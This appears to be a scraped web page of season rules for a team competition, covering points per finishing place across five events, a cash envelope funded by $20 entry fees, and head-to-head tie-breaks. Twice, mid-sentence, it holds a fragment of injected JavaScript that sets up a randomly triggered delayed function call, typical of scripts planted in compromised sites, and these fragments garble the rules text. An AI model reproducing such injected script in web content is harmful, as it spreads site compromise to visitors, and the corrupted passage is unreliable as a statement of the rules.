Teams will score points by finishing in the top 5 teams at each event. $20 from each team entry across all 5 events shall be held in an envelope. The team who dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does the best, based on position points, throughout the year, shall win the envelope full of cash. Points shall be earned as follows:

 

1^st Place – 25 Points per event

2^nd Place – 15 Points per event

3^rd Place – 9 Points per event

4^th Place – 6 Points per event

5^th Place – 3 Points per event

 

In case of tie break, we will look at the head to head games between the two teams (who has won the most games between the two teams), and if necessary by total points scored between the two teams in all their head to head games.

 

A team dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does not need to play all 5 events to win. However, playing more events obviously gives more opportunity for points.
